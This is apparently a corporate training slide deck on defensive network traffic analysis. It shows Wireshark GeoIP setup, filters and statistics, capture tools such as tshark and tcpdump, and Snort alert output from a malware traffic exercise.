- MaxMind Database Directories > Edit
- Add Directory
- Database Path =
 - C:\Windows\ProgramData\GeoIP\GeoLite2-[type]\

This PC > Windows (C:) > ProgramData > GeoIP >		
Name	Date modified	Type
GeoLite2-ASN_20180619	6/18/2018 1:51 PM	File folder
GeoLite2-City_20180605	6/7/2018 2:27 PM	File folder
GeoLite2-Country_20180605	6/7/2018 2:20 PM	File folder
GeoLite2-ASN_20180619.tar	6/18/2018 1:51 PM	tar Archive
GeoLite2-ASN_20180619.tar.gz	6/22/2018 6:38 PM	gz Archive
GeoLite2-City_20180605.tar	6/7/2018 2:27 PM	tar Archive
GeoLite2-City_20180605.tar.gz	6/22/2018 6:38 PM	gz Archive
GeoLite2-Country_20180605.tar	6/7/2018 2:20 PM	tar Archive
GeoLite2-Country_20180605.tar.gz	6/22/2018 6:38 PM	gz Archive

GeoIP Setup

Wireshark Preferences

Appearance
Columns
Font and Colors
Layout
Capture
Expert
Filter Buttons
Name Resolution
Protocols
Statistics
Advanced

Name Resolution


Resolve MAC addresses
 Resolve transport names
 Resolve network (IP) addresses
 Use captured DNS packet data for address resolution
 Use an external network name resolver
Maximum concurrent requests 500
 Only use the profile "hosts" file
 Resolve VLAN IDs
 Resolve SS7 PCs
 Enable OID resolution
 Suppress SMI errors
SMI (MIB and PIB) paths [Edit...](#)
SMI (MIB and PIB) modules [Edit...](#)
MaxMind database directories [Edit...](#)

MaxMind Database Paths

MaxMind Database Directory
C:/ProgramData/GeoIP/GeoLite2-Country_20180605
C:/ProgramData/GeoIP/GeoLite2-City_20180605
C:/ProgramData/GeoIP/GeoLite2-ASN_20180619

+ - ⌂ ⌄ ⌅ ⌆ ⌇ ⌈ ⌉ ⌊ ⌋ OK Cancel Help

C:/Users/[REDACTED]/AppData/Roaming/Wireshark/maxmind_db_paths



GeoIP Setup

- Restart Wireshark
- Expand the packet details pane
- Look for “Source GeolP”
 - Occasionally, users can’t get GeolP to work
- Expand “Source GeolP”

```
> Frame 1: 117 bytes on wire (936 bits), 117 bytes captured (936 bits) on interface 0
> Ethernet II, Src: Sonicwal_78:35:dc (00:17:c5:78:35:dc), Dst: IntelCor_d2:11:80 (00:28:f8:d2:11:80)
< Internet Protocol Version 4, Src: 18.236.57.250, Dst: 192.168.1.141
    0100 .... = Version: 4
    .... 0101 = Header Length: 20 bytes (5)
> Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
    Total Length: 103
    Identification: 0xbd93 (48531)
> Flags: 0x4000, Don't fragment
    Time to live: 51
    Protocol: TCP (6)
    Header checksum: 0x7ae2 [validation disabled]
    [Header checksum status: Unverified]
    Source: 18.236.57.250
    Destination: 192.168.1.141
< [Source GeoIP: Boardman, US, ASN 16509, Amazon.com, Inc.]
    [Source GeoIP City: Boardman]
    [Source or Destination GeoIP City: Boardman]
    [Source GeoIP Country: United States]
    [Source or Destination GeoIP Country: United States]
    [Source GeoIP ISO Two Letter Country Code: US]
    [Source or Destination GeoIP ISO Two Letter Country Code: US]
    [Source GeoIP AS Number: 16509]
    [Source or Destination GeoIP AS Number: 16509]
    [Source GeoIP AS Organization: Amazon.com, Inc.]
```

Set GeolP Source IP at Column

- Column Filter: ip.geoip.src_summary

GeoIP
UA, ASN 21100, ITL Company
UA, ASN 21100, ITL Company
UA, ASN 21100, ITL Company

Search for IPs Outside the US

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ip and not ip.geoip.country == "United States"

No.	Time	Source	Destination	Protocol	SrcPort	DstPort	Host	GeoIP	Info
3248	443.419319	89.217.239.102	192.168.22.94	ICMP	49938	80		Zurich, CH, ASN 6730, Sunrise Communications AG	Dest
9235	2068.553646	92.226.1.214	192.168.22.94	TCP	80	53572		Zossen, DE, ASN 6805, Telefonica Germany	80 →
9232	2068.397415	92.226.1.214	192.168.22.94	TCP	80	53572		Zossen, DE, ASN 6805, Telefonica Germany	80 →
6926	1532.189611	125.46.93.229	192.168.22.94	TCP	8080	52301		Zhengzhou, CN, ASN 4837, CHINA UNICOM China169 Backbone	8080
6922	1531.429738	125.46.93.229	192.168.22.94	TCP	8080	52301		Zhengzhou, CN, ASN 4837, CHINA UNICOM China169 Backbone	8080
3400	491.841637	115.59.56.187	192.168.22.94	TCP	443	50044		Zhengzhou, CN, ASN 4837, CHINA UNICOM China169 Backbone	443
3396	491.100986	115.59.56.187	192.168.22.94	TCP	443	50044		Zhengzhou, CN, ASN 4837, CHINA UNICOM China169 Backbone	443

Source: 192.168.22.94
Destination: 222.93.228.177

- ▼ [Destination GeoIP: Suzhou, CN, ASN 4134, No.31,Jin-rong Street]
 - [Destination GeoIP City: Suzhou]
 - [Source or Destination GeoIP City: Suzhou]
 - Destination GeoIP Country: China**
 - Source or Destination GeoIP Country: China**
 - [Destination GeoIP ISO Two Letter Country Code: CN]
 - [Source or Destination GeoIP ISO Two Letter Country Code: CN]
 - [Destination GeoIP AS Number: 4134]
 - [Source or Destination GeoIP AS Number: 4134]
 - [Destination GeoIP Organization: No.31,Jin-rong Street]
 - [Source or Destination GeoIP Organization: No.31,Jin-rong Street]
 - [Destination GeoIP Latitude: 31.3041]
 - [Source or Destination GeoIP Latitude: 31.3041]
 - [Destination GeoIP Longitude: 120.5954]
 - [Source or Destination GeoIP Longitude: 120.5954]

Transmission Control Protocol, Src Port: 49166, Dst Port: 80, Seq: 0, Len: 0

```
0000  00 07 50 ec 1b a9 00 1e c9 c3 3a 1b 08 00 45 00  ..P.....:..E..
```

2017-03-25-traffic-analysis-exercise.pcap

Packets: 9443 • Displayed: 5462 (57.8%)


Profile: Demo-R-Hunting

RICHEY  **MAY**
TECHNOLOGY SOLUTIONS

Other Tools

tShark

- Lightweight command line tool installed with Wireshark
- Steps:
 - 1. Open CMD
 - 2. > cd “C:\Program Files\wireshark”
 - 3. > tshark –i “wi-fi” –a duration:10 –w tshark-file.pcap



```
Administrator: C:\Windows\system32\cmd.exe - "C:\Program Files (x86)\Wireshark\tshark" -i "De...  
Capturing on Intel(R) 82577LM Gigabit Network Connection  
0.000000 192.168.1.2 -> 192.168.1.1 ICMP 74 Echo <ping> request id=0x0001,  
seq=25/6400, ttl=128  
0.022714 192.168.1.1 -> 192.168.1.2 ICMP 74 Echo <ping> reply id=0x0001,  
seq=25/6400, ttl=64  
1.000592 192.168.1.2 -> 192.168.1.1 ICMP 74 Echo <ping> request id=0x0001,  
seq=26/6656, ttl=128  
1.014647 192.168.1.1 -> 192.168.1.2 ICMP 74 Echo <ping> reply id=0x0001,  
seq=26/6656, ttl=64  
1.017611 fe80::9071:e7a2:c4d3:f55f -> ff02::1:2 DHCPv6 154 Solicit XID: 0xa  
00331 CID: 0001000112f5ed500000910641e1  
2.000613 192.168.1.2 -> 192.168.1.1 ICMP 74 Echo <ping> request id=0x0001,  
seq=27/6912, ttl=128  
2.013609 192.168.1.1 -> 192.168.1.2 ICMP 74 Echo <ping> reply id=0x0001,  
seq=27/6912, ttl=64  
3.000640 192.168.1.2 -> 192.168.1.1 ICMP 74 Echo <ping> request id=0x0001,  
seq=28/7168, ttl=128  
3.013590 192.168.1.1 -> 192.168.1.2 ICMP 74 Echo <ping> reply id=0x0001,  
seq=28/7168, ttl=64
```

TCPdump

- Command-line packet analyzer
- Less overhead and buggy than Wireshark for packet capture
- Install:
 - sudo apt-get install tcpdump OR sudo yum install tcpdump
- Example Commands:

```
sudo tcpdump -i eth0 -nn -s0 -v port 80
```

```
sudo tcpdump -i eth0 udp -w output.pcap
```

CloudShark

- Online easy way to analyze network capture files



The image shows the CloudShark website homepage. At the top, there is a navigation bar with the CloudShark logo, Pricing, Blog, Integrations, Support, Enterprise, a Login button, and a Sign up button. The main header features a large blue cloud icon with a shark fin inside it, followed by the word "CloudShark". Below the header, a sub-header reads "Solve network problems faster with packet captures". A section titled "Which CloudShark is right for you?" includes a link to a feature page for comparison. Two main user segments are highlighted: "Individuals, Students, and Packet Enthusiasts" with a green "Create an online account right now" button, and "Businesses, Organizations, and Security Professionals" with a blue "Learn about on-premise CloudShark Enterprise" button. The background of the page shows a blurred image of a laptop keyboard.

PacketTotal (uploads are public)




Drag .pcap files here or click to upload.

(Accepts .pcap and .pcapng files. Limit 50 MB.)

Malicious Activity
[Suspicious Activity](#)
[Intelligence](#)
[Connections](#)
[DNS](#)
[HTTP](#)
[SSL Certificates](#)
[PKI \(X.509\)](#)
[Transferred Files](#)
Similar Packet Captures
 Search in results


Timestamp	Alert Description	Alert Signature	Severity	Sender IP	Sender Port	Target IP	Target Port	Transport Protocol
2018-06-28 22:25:38	Misc Attack	ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 598	2	86.59.21.38	443	192.168.1.100	51464	TCP
2018-06-28 22:25:39	Misc Attack	ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 285	2	193.11.114.43	9001	192.168.1.100	51465	TCP
2018-06-28 22:25:39	Misc activity	ET POLICY TLS possible TOR SSL traffic	3	193.11.114.43	9001	192.168.1.100	51465	TCP
2018-06-28 22:25:42	Misc activity	ET POLICY TLS possible TOR SSL traffic	3	46.101.100.94	9001	192.168.1.100	51468	TCP
2018-06-28 22:25:42	Misc Attack	ET TOR Known Tor Relay/Router (Not Exit) Node Traffic group 425	2	5.189.138.9	443	192.168.1.100	51466	TCP

NetworkMiner



	NetworkMiner (free edition)	NetworkMiner Professional
Live sniffing	✓	✓
Parse PCAP files	✓	✓
Parse PcapNG files		✓
IPv6 support	✓	✓
Extract files from FTP, TFTP, HTTP, SMB, SMB2, SMTP, POP3 and IMAP traffic	✓	✓
Extract X.509 certificates from SSL encrypted traffic like HTTPS, SMTPS, IMAPS, POP3S, FTPS etc.	✓	✓
Decapsulation of GRE, 802.1Q, PPPoE, VXLAN, OpenFlow, SOCKS, MPLS and EoMPLS	✓	✓
Receive Pcap-over-IP	✓	✓
OS Fingerprinting (*)	✓	✓
Audio extraction and playback of VoIP calls		✓
OSINT lookups of file hashes, IP addresses, domain names and URLs		✓
Port Independent Protocol Identification (PIPI)		✓
Export to CSV / Excel / XML / CASE / JSON-LD		✓
Configurable file output directory		✓
Configurable time zone (UTC, local or custom)		✓
Geo IP localization (***)		✓
DNS Whitelisting (****)		✓
Advanced OS fingerprinting		✓
Web browser tracing (4:10 into this video)		✓
Online ad and tracker detection		✓
Host coloring support		✓
Command line scripting support		✓ (through NetworkMinerCLI)
PCAP parsing speed (****)	2.31 MB/s	1.49 MB/s (GUI version) 1.73 MB/s (command line version)
Price	Free	\$ 900 USD

malware-traffic-analysis.net

- >1300 malware samples
- Authored by Palo Alto threat hunter
- Some pcap files are used in this course
- Password to extract files: *infected*

Helpful Links

- <https://github.com/Security-Onion-Solutions/security-onion/wiki/Pcaps>
- <https://wiki.wireshark.org/Tools>
- <https://wiki.wireshark.org/SampleCaptures>

Malware Research

- VirusTotal
- Hybrid-Analysis
- Malwr
- Reverse.it
- *Cuckoosandbox (on-prem)*



Analyze suspicious files and URLs to detect types of malware,
automatically share them with the security community.

File URL Search

Click to select a file

Choose file

By submitting your file to VirusTotal you are asking VirusTotal to share your submission with the security community and agree to our [Terms of Service](#) and [Privacy Policy](#). [Learn more](#).

Snort – Read PCAP

```
/opt/pcap# snort -c /opt/snort-2.9.8.2/etc/snort.conf -r 2017-03-25-traffic-analysis-exercise.pcap -A console
```

```
03/21-15:49:25.123933 [**] [1:2014520:2] ET INFO EXE - Served Attached HTTP [**] [Classification: Misc activity] [Priority: 3] {TCP} 50.63.125.1:80 -> 192.168.22.94:49161
03/21-15:49:25.123933 [**] [1:2018959:4] ET POLICY PE EXE or DLL Windows file download HTTP [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1] {TCP} 50.63.125.1:80 -> 192.168.22.94:49161
03/21-15:49:25.474616 [**] [1:2014520:2] ET INFO EXE - Served Attached HTTP [**] [Classification: Misc activity] [Priority: 3] {TCP} 50.63.125.1:80 -> 192.168.22.94:49161
03/21-15:49:25.612796 [**] [1:2014520:2] ET INFO EXE - Served Attached HTTP [**] [Classification: Misc activity] [Priority: 3] {TCP} 50.63.125.1:80 -> 192.168.22.94:49161
03/21-15:49:26.025997 [**] [1:23605:11] FILE-IDENTIFY Armadillo v1.xx - v2.xx file magic detected [**] [Classification: Misc activity] [Priority: 3] {TCP} 50.63.125.1:80 -> 192.168.22.94:49161
03/21-15:50:18.881111 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:49232 -> 52.50.59.31:80
03/21-15:52:20.337060 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:49491 -> 52.50.59.31:80
03/21-15:52:37.309843 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:49528 -> 77.225.141.195:80
03/21-15:54:21.091563 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:49757 -> 52.50.59.31:80
03/21-15:54:37.747906 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:49791 -> 77.225.141.195:80
03/21-15:56:21.846348 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:50024 -> 52.50.59.31:80
03/21-15:56:22.579086 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:50027 -> 14.152.86.33:80
03/21-15:56:38.202144 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:50062 -> 77.225.141.195:80
03/21-15:58:22.758432 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:50290 -> 52.50.59.31:80
03/21-15:58:23.024108 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:50291 -> 14.152.86.33:80
03/21-15:58:38.664466 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:50328 -> 77.225.141.195:80
03/21-15:59:20.726515 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:50415 -> 60.169.77.199:80
03/21-16:00:23.518790 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:50550 -> 52.50.59.31:80
03/21-16:00:23.492767 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:50549 -> 14.152.86.33:80
03/21-16:00:39.115717 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:50590 -> 77.225.141.195:80
03/21-16:01:21.280123 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:50681 -> 60.169.77.199:80
03/21-16:02:23.946771 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:50816 -> 14.152.86.33:80
03/21-16:02:24.263816 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:50818 -> 52.50.59.31:80
03/21-16:02:39.566314 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:50851 -> 77.225.141.195:80
03/21-16:03:21.946781 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:50941 -> 60.169.77.199:80
03/21-16:04:24.398285 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:51070 -> 14.152.86.33:80
03/21-16:04:25.178807 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:51072 -> 52.50.59.31:80
03/21-16:04:40.019529 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:51105 -> 77.225.141.195:80
03/21-16:05:23.395520 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:51210 -> 60.169.77.199:80
03/21-16:06:24.856275 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:51344 -> 14.152.86.33:80
03/21-16:06:25.937322 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:51347 -> 52.50.59.31:80
03/21-16:06:40.471973 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:51380 -> 77.225.141.195:80
03/21-16:07:23.954859 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:51472 -> 60.169.77.199:80
03/21-16:08:25.288178 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:51603 -> 14.152.86.33:80
03/21-16:08:26.700912 [**] [1:2018358:5] ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.22.94:51607 -> 52.50.59.31:80
```

RICHEY **MAY**
TECHNOLOGY SOLUTIONS


Wireshark Filters

Filtering Traffic

- Capture filters
 - Only capture traffic that meets the filter criteria
- Display filters
 - Only show traffic that meets the filter criteria


Capture Filter

- Filters prior to capture





Display Filter

Manually applied display filters



Expression Builder Display Filters





Filter Shortcut

A screenshot of the Wireshark interface. The main pane shows a list of network packets. A context menu is open over the 12th packet, which has its source IP highlighted. The menu path 'Apply as Filter' is highlighted with a red box and arrow. The submenu 'Selected' is also highlighted with a red box and arrow. Other options in the submenu include 'Not Selected', '...and Selected', '...or Selected', '...and not Selected', and '...or not Selected'. The full menu includes options like 'Expand Subtrees', 'Shift+Right', 'Expand All', 'Ctrl+Right', 'Collapse All', 'Ctrl+Left', 'Apply as Column', 'Prepare a Filter', 'Conversation Filter', 'Colorize with Filter', 'Follow', 'Copy', 'Show Packet Bytes...', 'Export Packet Bytes...', 'Ctrl+H', 'Wiki Protocol Page', 'Filter Field Reference', 'Protocol Preferences', 'Decode As...', 'Go to Linked Packet', and 'Show Linked Packet in New Window'.

A screenshot of the Wireshark interface showing the search bar at the bottom. The filter expression 'ip.src == 18.236.57.250' is highlighted with a red box and arrow. The main pane displays the filtered list of packets, with the first packet's details shown in the bottom right.

No.	Time	Source	Destination	Protocol	Length	Info
3	1.034122	18.236.57.250	192.168.1.141	TCP	54	443 → 9512 [ACK] Seq=1 Ack=1 Win=918 Len=0

Display Filter Examples


- ICMP traffic: icmp
- Source or Destination IP: ip.addr==[x.x.x.x]
- Source IP: ip.src==[x.x.x.x/x]
- Windows Services: smb || nbns || dcerpc || nbss || dns
- Filter out noise: !(arp or icmp or dns)
- Search exact ASCII text in TCP packets: tcp contains [blah]



Wireshark Statistics


Malware Analysis Statistics

- Endpoints = top talkers
- Conversations = two-way communication between systems
- Protocol Hierarchy = analyze protocol use



Capture File Properties

- Length of capture
- File location
- Time/date
- Hardware used to capture data
- Interface used for capture
- Number of packets captured
- Add comments



Wireshark · Capture File Properties · wireshark_20E37EC4-C53B-4D98-8195-BCFA52C1E828_20180620150944_a03356

Details

File

Name: [REDACTED].pcapng
Length: 2022 bytes
Format: Wireshark/... - pcapng
Encapsulation: Ethernet

Time

First packet: 2018-06-20 15:09:45
Last packet: 2018-06-20 15:09:48
Elapsed: 00:00:03

Capture

Hardware: Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz (with SSE4.2)
OS: 64-bit Windows 10, build 17134
Application: Dumpcap (Wireshark) 2.4.4 (v2.4.4-0-g90a7be11a4)

Interfaces

Interface	Dropped packets	Capture filter	Link type	Packet size limit
\Device\NPF_{20E37EC4-C53B-4D98-8195-BCFA52C1E828}	0 (0 %)	none	Ethernet	65535 bytes

Statistics

Measurement	Captured	Displayed	Marked
Packets	15	1 (6.7%)	—
Time span, s	3.810	—	—
Average pps	3.9	—	—
Average packet size, B	82.5	54.5	—
Bytes	1243	54 (4.3%)	0
Average bytes/s	326	—	—
Average bits/s	2609	—	—

Capture file comments

Refresh Save Comments Close Copy To Clipboard Help

Protocol Hierarchy

Wireshark - Protocol Hierarchy Statistics · wireshark_20E37EC4-C53B-4D98-8195-BCFA52C1E828_20180620152245_a15532

Protocol	Percent Packets	Packets	Percent Bytes	Bytes	Bits/s	End Packets	End Bytes	End Bits/s
Frame	100.0	4092	100.0	3980125	209 k	0	0	0
Ethernet	100.0	4092	1.4	57288	3013	0	0	0
Internet Protocol Version 6	0.2	8	0.0	320	16	0	0	0
User Datagram Protocol	0.2	8	0.0	64	3	0	0	0
Simple Service Discovery Protocol	0.1	6	0.0	708	37	6	708	37
Multicast Domain Name System	0.0	2	0.0	226	11	2	226	11
Internet Protocol Version 4	95.8	3919	2.0	78380	4123	0	0	0
User Datagram Protocol	3.1	126	0.0	1008	53	0	0	0
Simple Service Discovery Protocol	0.4	15	0.1	3162	166	15	3162	166
NetBIOS Name Service	0.0	1	0.0	50	2	1	50	2
NetBIOS Datagram Service	0.0	1	0.0	201	10	0	0	0
SMB (Server Message Block Protocol)	0.0	1	0.0	119	6	0	0	0
SMB MailSlot Protocol	0.0	1	0.0	25	1	0	0	0
Microsoft Windows Browser Protocol	0.0	1	0.0	33	1	1	33	1
Domain Name System	2.7	109	0.3	12702	668	109	12702	668
Transmission Control Protocol	89.0	3643	95.8	3812768	200 k	2797	3144141	165 k
Secure Sockets Layer	21.6	882	93.3	3715317	195 k	840	3547747	186 k
Hypertext Transfer Protocol	0.1	5	0.1	3353	176	0	0	0
Online Certificate Status Protocol	0.1	3	0.0	1413	74	3	1413	74
Line-based text data	0.0	2	0.0	381	20	2	681	35
Data	0.0	1	0.0	1436	75	1	1436	75
Internet Control Message Protocol	3.7	150	0.2	6000	315	150	6000	315
Address Resolution Protocol	4.0	165	0.1	4620	243	165	4620	243

No display filter.

Close Copy Help

Endpoints

Wireshark · Endpoints · wireshark_20E37EC4-C53B-4D98-8195-BCFA52C1E828_2...

Ethernet · 13 IPv4 · 62 IPv6 · 4 TCP · 156 UDP · 80									
Address	Packets	Bytes	Tx Packets	Tx Bytes	Rx Packets	Rx Bytes	Latitude	Longitude	
192.168.1.141	3,902	3965 k	0	0	3,902	3965 k	—	—	
205.251.203.81	1,451	1960 k	1,451	1960 k	0	0	—	—	
205.251.203.227	903	1199 k	903	1199 k	0	0	—	—	
64.78.27.65	107	62 k	107	62 k	0	0	—	—	
172.217.11.78	104	7696	104	7696	0	0	—	—	
23.57.48.194	88	77 k	88	77 k	0	0	—	—	
31.13.70.7	72	87 k	72	87 k	0	0	—	—	
151.101.53.108	71	76 k	71	76 k	0	0	—	—	
8.8.8.8	66	10 k	66	10 k	0	0	—	—	
8.39.36.145	66	35 k	66	35 k	0	0	—	—	
205.251.203.160	59	63 k	59	63 k	0	0	—	—	
52.27.211.200	56	12 k	56	12 k	0	0	—	—	
72.21.91.66	55	50 k	55	50 k	0	0	—	—	

Name resolution Limit to display filter Endpoint Types ▾

Wireshark · Endpoints · wireshark_20E37EC4-C53B-4D98-8195-BCFA52C1E828_2...

Ethernet · 13 IPv4 · 62 IPv6 · 4 TCP · 156 UDP · 80									
Address	Port	Packets	Bytes	Tx Packets	Tx Bytes	Rx Packets	Rx Bytes	Latitude	Longitude
205.251.203.81	443	1,451	1960 k	1,451	1960 k	0	0	—	—
205.251.203.227	443	903	1199 k	903	1199 k	0	0	—	—
192.168.1.141	18611	765	1119 k	0	0	765	1119 k	—	—
192.168.1.141	18615	516	718 k	0	0	516	718 k	—	—
192.168.1.141	18613	298	411 k	0	0	298	411 k	—	—
192.168.1.141	18641	222	295 k	0	0	222	295 k	—	—
192.168.1.141	18618	194	259 k	0	0	194	259 k	—	—
192.168.1.141	18639	126	159 k	0	0	126	159 k	—	—
64.78.27.65	443	107	62 k	107	62 k	0	0	—	—
192.168.1.141	18612	87	98 k	0	0	87	98 k	—	—
23.57.48.194	443	73	76 k	73	76 k	0	0	—	—
192.168.1.141	18610	73	76 k	0	0	73	76 k	—	—

Name resolution Limit to display filter Endpoint Types ▾

Conversations

Wireshark · Conversations · wireshark_20E37EC4-C53B-4D98-8195-BCFA52C1E828_20180620152245_a15532

Ethernet · 13	IPv4 · 59	IPv6 · 2	TCP · 103	UDP · 115	Address A	Port A	Address B	Port B	Packets	Bytes	Packets A → B	Bytes A → B	Packets B → A	Bytes B → A	Rel Start	Duration	Bits/s A → B	B ^
					192.168.1.141	18611	205.251.203.81	443	765	1119 k	0	0	765	1119 k	11.889497	4.0058	0	
					192.168.1.141	18615	205.251.203.227	443	516	718 k	0	0	516	718 k	12.080424	134.7865	0	
					192.168.1.141	18613	205.251.203.81	443	298	411 k	0	0	298	411 k	11.932330	119.3682	0	
					192.168.1.141	18641	205.251.203.227	443	222	295 k	0	0	222	295 k	14.569012	132.0105	0	
					192.168.1.141	18618	205.251.203.81	443	194	259 k	0	0	194	259 k	12.726803	117.5613	0	
					192.168.1.141	18639	205.251.203.227	443	126	159 k	0	0	126	159 k	14.106907	135.1955	0	
					192.168.1.141	18612	205.251.203.81	443	87	98 k	0	0	87	98 k	11.892700	115.3570	0	
					192.168.1.141	18610	23.57.48.194	443	73	76 k	0	0	73	76 k	11.689638	115.5610	0	
					192.168.1.141	18646	31.13.70.7	443	72	87 k	0	0	72	87 k	14.731059	117.5859	0	
					192.168.1.141	18620	151.101.53.108	443	71	76 k	0	0	71	76 k	13.143862	116.1558	0	
					192.168.1.141	18640	205.251.203.160	443	59	63 k	0	0	59	63 k	14.144235	115.1569	0	
					192.168.1.141	18644	72.21.91.66	443	55	50 k	0	0	55	50 k	14.708992	115.5793	0	
					192.168.1.141	18645	23.208.143.185	443	43	30 k	0	0	43	30 k	14.708861	116.5919	0	
					192.168.1.141	18623	205.251.203.81	443	38	28 k	0	0	38	28 k	13.369518	115.9033	0	
					192.168.1.141	18634	104.254.150.9	443	37	38 k	0	0	37	38 k	13.823621	10.2298	0	
					192.168.1.141	18602	64.70.27.65	443	26	29 k	0	0	26	29 k	14.200200	144.2274	0	

Name resolution Limit to display filter Absolute start time Conversation Types ▾

Copy ▾ Follow Stream... Graph... Close Help



Baseline Network Traffic

RICHEY **MAY** **TECHNOLOGY SOLUTIONS**

“If you know the enemy and know yourself, you need not fear the result of a hundred battles.

If you know yourself but not the enemy, for every victory gained you will also suffer a defeat.

If you know neither the enemy nor yourself, you will succumb in every battle.”

– Sun Tzu

Baseline

- Snapshot of network traffic during a window in time
- Looks at utilization, protocols, and latency
- Helps with troubleshooting
- Limit packets to ~1,000 packets to avoid crashing Wireshark
- **Steps:**
 1. Plan = subnets & VLANs
 2. Capture = where will the tap take place?
 3. Analyze = look for suspicious traffic
 4. Save = repository for keeping baselines


Have Good Architecture

- Remember: “If you know the enemy and know yourself, you need not fear the result of a hundred battles.”
- If RDP to/from anywhere in your network is normal, how can you find Evil?
- If SMB from desktop to desktop is normal, how can you find Evil?
- If users self-patching is normal, how can you find Evil?
- Know thy network and have a good defensible architecture

TTL by OS

Device/OS	TTL
*nix (Linux/Unix)	64
Windows	128
Solaris/AIX	254

ICMP – No Response



```
Administrator: Command Prompt
C:\Windows\system32>ping delivery-ups.com
Pinging delivery-ups.com [50.112.60.145] with 32 bytes of data:
Request timed out.
